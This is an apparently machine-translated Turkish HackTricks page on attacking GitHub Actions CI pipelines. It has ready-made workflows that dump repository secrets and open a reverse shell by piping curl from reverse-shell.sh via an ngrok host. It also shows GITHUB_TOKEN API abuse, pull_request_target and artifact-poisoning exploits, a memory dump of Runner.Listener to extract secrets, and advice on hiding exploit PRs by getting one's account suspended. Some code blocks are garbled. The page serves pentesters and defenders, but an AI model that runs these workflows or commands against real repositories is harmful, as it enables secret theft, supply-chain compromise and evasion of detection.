Abusing Github Actions

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**

• Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.

Temel Bilgiler

Bu sayfada şunları bulacaksınız:

• Bir saldırganın bir Github Action'a erişmeyi başardığında tüm etkilerin özeti

• Bir action'a erişim elde etmenin farklı yolları:

• Action'ı oluşturmak için izinlere sahip olmak

• Pull request ile ilgili tetikleyicileri kötüye kullanmak

• Diğer dış erişim tekniklerini kötüye kullanmak

• Zaten ele geçirilmiş bir repodan pivotlama

• Son olarak, içeriden bir action'ı kötüye kullanma sonrası teknikleri hakkında bir bölüm (belirtilen etkileri yaratmak için)

Etkilerin Özeti

Github Actions hakkında temel bilgileri kontrol edin.

Eğer bir depo içinde Github Actions'da rastgele kod çalıştırabiliyorsanız, şunları yapabilirsiniz:

• Pipeline'a monte edilmiş gizli bilgileri çalmak ve pipeline'ın ayrıcalıklarını kötüye kullanarak AWS ve GCP gibi dış platformlara yetkisiz erişim sağlamak.

• Dağıtımları tehlikeye atmak ve diğer artifaktları.

• Eğer pipeline varlıkları dağıtıyor veya depoluyorsa, nihai ürünü değiştirebilir ve bir tedarik zinciri saldırısına olanak tanıyabilirsiniz.

• Özel işçilerde kod çalıştırmak için hesaplama gücünü kötüye kullanmak ve diğer sistemlere pivotlamak.

• GITHUB_TOKEN ile ilişkili izinlere bağlı olarak depo kodunu üzerine yazmak.

GITHUB_TOKEN

Bu "gizli" ( ${{ secrets.GITHUB_TOKEN }} ve ${{ github.token }}'den gelen) admin bu seçeneği etkinleştirdiğinde verilir:

Bu token, bir Github Uygulaması'nın kullanacağı aynı token'dır, böylece aynı uç noktalara erişebilir: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github, depolararası erişime izin veren bir akış yayınlamalıdır, böylece bir repo GITHUB_TOKEN kullanarak diğer iç reposuna erişebilir.

Bu token'ın olası izinlerini burada görebilirsiniz: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Token'ın işlem tamamlandıktan sonra süresinin dolduğunu unutmayın. Bu token'lar şu şekilde görünür: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Bu token ile yapabileceğiniz bazı ilginç şeyler:

Merge PR

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

PR

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

PR Oluştur

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Birçok durumda Github Actions ortamlarında veya gizliliklerde github kullanıcı token'larını bulabileceğinizi unutmayın. Bu token'lar, depo ve organizasyon üzerinde daha fazla ayrıcalık sağlayabilir.

Github Action çıktısında gizlilikleri listele

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Gizli anahtarlarla ters kabuk al

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Diğer kullanıcıların depolarında bir Github Token'ına verilen izinleri logları kontrol ederek kontrol etmek mümkündür:

İzin Verilen Çalıştırma

Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum organizasyonda yeni bir depo oluşturma erişiminiz olduğunu veya bir depoda yazma yetkisine sahip olduğunuzu varsayar.

Bu senaryoda iseniz, İstismar Sonrası Teknikler bölümüne göz atabilirsiniz.

Depo Oluşturma ile Çalıştırma

Bir organizasyonun üyeleri yeni depolar oluşturabiliyorsa ve siz github eylemlerini çalıştırabiliyorsanız, yeni bir depo oluşturup organizasyon seviyesinde ayarlanan gizli bilgileri çalabilirsiniz.

Yeni Bir Dal ile Çalıştırma

Eğer zaten bir Github Action yapılandırılmış bir depoda yeni bir dal oluşturabiliyorsanız, onu değiştirebilir, içeriği yükleyebilir ve ardından o eylemi yeni daldan çalıştırabilirsiniz. Bu şekilde depo ve organizasyon seviyesindeki gizli bilgileri dışarı aktarabilirsiniz (ancak bunların nasıl adlandırıldığını bilmeniz gerekir).

Değiştirilen eylemi manuel olarak, bir PR oluşturulduğunda veya bazı kodlar itildiğinde çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekici olmak istediğinize bağlı olarak):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

---

Forklanmış İcra

Bir saldırganın başka bir depodaki Github Action'ı çalıştırmasına izin verebilecek farklı tetikleyiciler vardır. Eğer bu tetiklenebilir eylemler kötü yapılandırılmışsa, bir saldırgan bunları tehlikeye atabilir.

pull_request

pull_request iş akışı tetikleyicisi, bazı istisnalarla birlikte her seferinde bir pull request alındığında iş akışını çalıştırır: varsayılan olarak, eğer bu ilk kez iş birliği yapıyorsanız, bazı bakıcıların iş akışının çalışmasını onaylaması gerekecektir:

Varsayılan kısıtlama ilk kez katkıda bulunanlar içindir, geçerli bir hata/yazım hatasını düzeltmek için katkıda bulunabilir ve ardından yeni pull_request ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz.

Bunu test ettim ve çalışmıyor: Başka bir seçenek, projeye katkıda bulunan birinin adını taşıyan bir hesap oluşturmak ve hesabını silmek olurdu.

Ayrıca, varsayılan olarak yazma izinlerini ve gizli verilere erişimi hedef depoya engeller, belgelere göre:

GITHUB_TOKEN hariç, gizli veriler bir iş akışı forklanmış bir depodan tetiklendiğinde çalıştırıcıya geçmez. GITHUB_TOKEN'ın yalnızca okuma izinleri vardır, forklanmış depolardan gelen pull request'lerde.

Bir saldırgan, Github Action'ın tanımını değiştirerek keyfi şeyler çalıştırabilir ve keyfi eylemler ekleyebilir. Ancak, belirtilen kısıtlamalar nedeniyle gizli verileri çalamaz veya depoyu üzerine yazamaz.

Evet, eğer saldırgan PR'de tetiklenecek github action'ı değiştirirse, onun Github Action'ı kullanılacak ve orijinal depodaki değil!

Saldırgan ayrıca çalıştırılan kodu kontrol ettiğinden, GITHUB_TOKEN üzerinde gizli veriler veya yazma izinleri olmasa bile, bir saldırgan örneğin kötü niyetli belgeler yükleyebilir.

pull_request_target

pull_request_target iş akışı tetikleyicisi, hedef depoya yazma iznine ve gizli verilere erişime sahiptir (ve izin istemez).

pull_request_target iş akışı tetikleyicisinin temel bağlamda çalıştığını ve PR tarafından verilen bağlamda çalışmadığını unutmayın (güvenilmeyen kodu çalıştırmamak için). pull_request_target hakkında daha fazla bilgi için belgelere bakın. Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için bu github blog yazısını kontrol edin.

Çalıştırılan iş akışının temelde tanımlandığı ve PR'de değil gibi görünmesi, pull_request_target kullanımının güvenli olduğu anlamına gelmez, ancak güvenli olmadığı birkaç durum vardır.

Ve bu, gizli verilere erişim sağlayacaktır.

workflow_run

workflow_run tetikleyicisi, bir iş akışının tamamlandığında, istek yapıldığında veya devam ederken başka bir iş akışından çalıştırılmasına izin verir.

Bu örnekte, bir iş akışı, ayrı "Testleri Çalıştır" iş akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Ayrıca, belgelerde belirtildiği gibi: workflow_run olayıyla başlatılan iş akışı, önceki iş akışı çalıştırılmamış olsa bile gizli bilgilere erişebilir ve token yazabilir.

Bu tür bir iş akışı, pull_request veya pull_request_target aracılığıyla bir dış kullanıcı tarafından tetiklenebilen bir iş akışına bağlıysa saldırıya uğrayabilir. Birkaç savunmasız örnek bu blogdabulunabilir. İlk örnek, workflow_run tetiklenen iş akışının saldırganın kodunu indirmesidir: ${{ github.event.pull_request.head.sha }} İkinci örnek, güvenilmeyen koddan workflow_run iş akışına bir artifact geçirerek ve bu artifact'ın içeriğini RCE'ye karşı savunmasız hale getirecek bir şekilde kullanmaktır.

workflow_call

TODO

TODO: pull_request'dan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et

Forked İcra Kullanımı

Bir dış saldırganın bir github iş akışını çalıştırmasını sağlamak için tüm yolları belirttik, şimdi bu çalıştırmaların kötü yapılandırıldığında nasıl kötüye kullanılabileceğine bakalım:

Güvenilmeyen checkout çalıştırması

pull_request durumunda, iş akışı PR'nin bağlamında çalıştırılacak (yani kötü niyetli PR kodunu çalıştıracak), ancak birinin önce bunu yetkilendirmesi gerekiyor ve bazı kısıtlamalarla çalışacak.

pull_request_target veya workflow_run kullanan bir iş akışında, pull_request_target veya pull_request üzerinden tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle saldırgan çalıştırılan kodu kontrol edemez.

Ancak, eğer action açık bir PR checkout'a sahipse ve PR'den kod alıyorsa (veya temelden değilse), saldırganın kontrolündeki kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın):

# GÜVENLİ DEĞİL. Sadece bir örnek olarak verilmiştir.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Teşekkürler!

Potansiyel olarak güvenilmeyen kod, npm install veya npm build sırasında çalıştırılmaktadır çünkü derleme betikleri ve referans verilen paketler PR yazarının kontrolündedir.

Savunmasız eylemleri aramak için bir github dork'u: event.pull_request pull_request_target extension:yml ancak, eylem güvensiz bir şekilde yapılandırılmış olsa bile, işlerin güvenli bir şekilde çalıştırılması için farklı yollar vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu ifadeler kullanmak).

Bağlam Betiği Enjeksiyonları

Belirli github bağlamları olduğunu unutmayın, bunların değerleri PR'yi oluşturan kullanıcı tarafından kontrol edilmektedir. Eğer github action bu verileri herhangi bir şeyi çalıştırmak için kullanıyorsa, bu keyfi kod çalıştırmaya yol açabilir:

Gh Actions - Context Script Injections

GITHUB_ENV Betik Enjeksiyonu

Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda bir ortam değişkenini kullanılabilir hale getirmek için ortam değişkenini tanımlayarak veya güncelleyerek ve bunu GITHUB_ENV ortam dosyasına yazarak yapabilirsiniz.

Eğer bir saldırgan bu env değişkeninin içine herhangi bir değeri enjekte edebilirse, LD_PRELOAD veya NODE_OPTIONS gibi sonraki adımlarda kod çalıştırabilecek env değişkenlerini enjekte edebilir.

Örneğin (bu ve bu), GITHUB_ENV env değişkeninin içeriğini depolamak için yüklenen bir artifact'a güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şöyle bir şey yükleyebilir:

Savunmasız Üçüncü Taraf Github Eylemleri

dawidd6/action-download-artifact

bu blog yazısında belirtildiği gibi, bu Github Action farklı iş akışlarından ve hatta depolardan artifact'lara erişim sağlar.

Sorun şu ki, eğer path parametresi ayarlanmamışsa, artifact mevcut dizine çıkarılır ve daha sonra iş akışında kullanılabilecek veya çalıştırılabilecek dosyaları geçersiz kılabilir. Bu nedenle, eğer Artifact savunmasızsa, bir saldırgan bunu diğer iş akışlarını tehlikeye atmak için kötüye kullanabilir.

Savunmasız iş akışı örneği:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Bu iş akışı ile saldırıya uğrayabilir:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

Diğer Harici Erişim

Silinmiş Namespace Repo Ele Geçirme

Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o isimle bir hesap kaydedebilir. Eğer bir depo isim değişikliğinden önce 100 yıldızdan azsa, Github, aynı isimle yeni kayıtlı kullanıcının silinmiş olanla aynı isimde bir depo oluşturmasına izin verecektir.

Yani eğer bir işlem, var olmayan bir hesaptan bir depoyu kullanıyorsa, bir saldırganın o hesabı oluşturup işlemi tehlikeye atması hala mümkün olabilir.

Eğer diğer depolar bu kullanıcı depolarından bağımlılıklar kullanıyorsa, bir saldırgan bunları ele geçirebilir. İşte daha kapsamlı bir açıklama: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

Repo Pivotlama

Bu bölümde, ilk depoda bir tür erişimimiz olduğunu varsayarak bir depodan diğerine geçiş yapmamızı sağlayacak tekniklerden bahsedeceğiz (önceki bölüme bakın).

Önbellek Zehirleme

Bir önbellek, aynı dalda çalışma çalışmaları arasında korunur. Bu, bir saldırganın bir paketi tehlikeye atması durumunda, bu paketin önbellekte saklanacağı ve daha ayrıcalıklı bir iş akışı tarafından indirilip çalıştırılacağı anlamına gelir; bu durumda o iş akışını da tehlikeye atabilecektir.

GH Actions - Cache Poisoning

Artefakt Zehirleme

İş akışları, diğer iş akışlarından ve hatta depolardan artefaktlar kullanabilir; eğer bir saldırgan, başka bir iş akışı tarafından daha sonra kullanılan bir artefaktı yükleyen Github Action'ı tehlikeye atmayı başarırsa, o zaman diğer iş akışlarını da tehlikeye atabilir:

Gh Actions - Artifact Poisoning

---

Bir İşlemden Sonra Sömürü

OIDC Üzerinden AWS ve GCP'ye Erişim

Aşağıdaki sayfalara göz atın:

AWS - Federation AbuseGCP - Federation Abuse

Gizli Bilgilere Erişim

Eğer bir betiğe içerik enjekte ediyorsanız, gizli bilgilere nasıl erişebileceğinizi bilmek ilginçtir:

• Eğer gizli bilgi veya token bir çevre değişkenine ayarlandıysa, printenv kullanarak çevre üzerinden doğrudan erişilebilir.

Github Action çıktısında gizli bilgileri listele

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Gizli anahtarlarla ters kabuk al</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Eğer gizli bilgi bir ifadede doğrudan kullanılıyorsa, oluşturulan shell scripti diskte saklanır ve erişilebilir.

cat /home/runner/work/_temp/*

* JavaScript eylemleri için gizli bilgiler ortam değişkenleri aracılığıyla gönderilir.
* ```bash
ps axe | grep node

• Özel bir eylem için, risk, programın argümandan elde ettiği gizli bilgiyi nasıl kullandığına bağlı olarak değişebilir:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kendinden Barındırılan Çalıştırıcıları Kötüye Kullanma

Github Actions'ın hangi non-github altyapısında çalıştırıldığını bulmanın yolu, Github Action yapılandırma yaml'ında runs-on: self-hosted aramaktır.

Kendinden barındırılan çalıştırıcılar, ekstra hassas bilgilere erişim sağlayabilir, diğer ağ sistemlerine (ağda savunmasız uç noktalar mı? meta veri servisi?) veya, izolasyon altında ve yok edilse bile, birden fazla eylem aynı anda çalıştırılabilir ve kötü niyetli olanı diğerinin gizli bilgilerini çalabilir.

Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli bilgilerini içerecek olan _Runner.Listener_** sürecinden gizli bilgileri elde etmek de mümkündür; belleğini dökerek:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Daha fazla bilgi için bu gönderiyi kontrol edin.

Github Docker Görüntüleri Kaydı

Github içinde bir Docker görüntüsü oluşturup depolayacak Github eylemleri yapmak mümkündür. Aşağıdaki genişletilebilir örnekte bir örnek bulabilirsiniz:

Github Eylemi Oluştur & Docker Görüntüsünü Yükle

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır.

Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim belirteci kullanarak Docker Görüntüsünü indirebilecektir:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Sonra, kullanıcı Docker imaj katmanlarında sızdırılmış gizli bilgileri arayabilir:

Github Actions günlüklerinde hassas bilgiler

Github gizli değerleri tespit etmeye ve göstermemeye çalışsa da, eylemin yürütülmesi sırasında üretilmiş olabilecek diğer hassas veriler gizli kalmayacaktır. Örneğin, bir gizli değerle imzalanmış bir JWT, özellikle yapılandırılmadıkça gizli kalmayacaktır.

İzlerinizi Kapatma

(buradan teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, internetin PR'sini silemeyiz, ancak bir twist var. Github tarafından askıya alınan hesaplar için, tüm PR'leri otomatik olarak silinir ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini sağlamalısınız. Bu, tüm etkinliklerinizi GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'lerinizi kaldırır).

GitHub'daki bir organizasyon, hesapları GitHub'a bildirmede çok proaktiftir. Tek yapmanız gereken, Issue'da "biraz şey" paylaşmak ve 12 saat içinde hesabınızın askıya alınmasını sağlamak :p ve işte, istismarınızı GitHub'da görünmez hale getirdiniz.

Bir organizasyonun hedef alındığını anlamanın tek yolu, GitHub günlüklerini SIEM'den kontrol etmektir; çünkü GitHub UI'dan PR kaldırılacaktır.

Araçlar

Aşağıdaki araçlar, Github Action iş akışlarını bulmak ve hatta savunmasız olanları bulmak için faydalıdır:

• https://github.com/CycodeLabs/raven

• https://github.com/praetorian-inc/gato

• https://github.com/AdnaneKhan/Gato-X

• https://github.com/carlospolop/PurplePanda

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)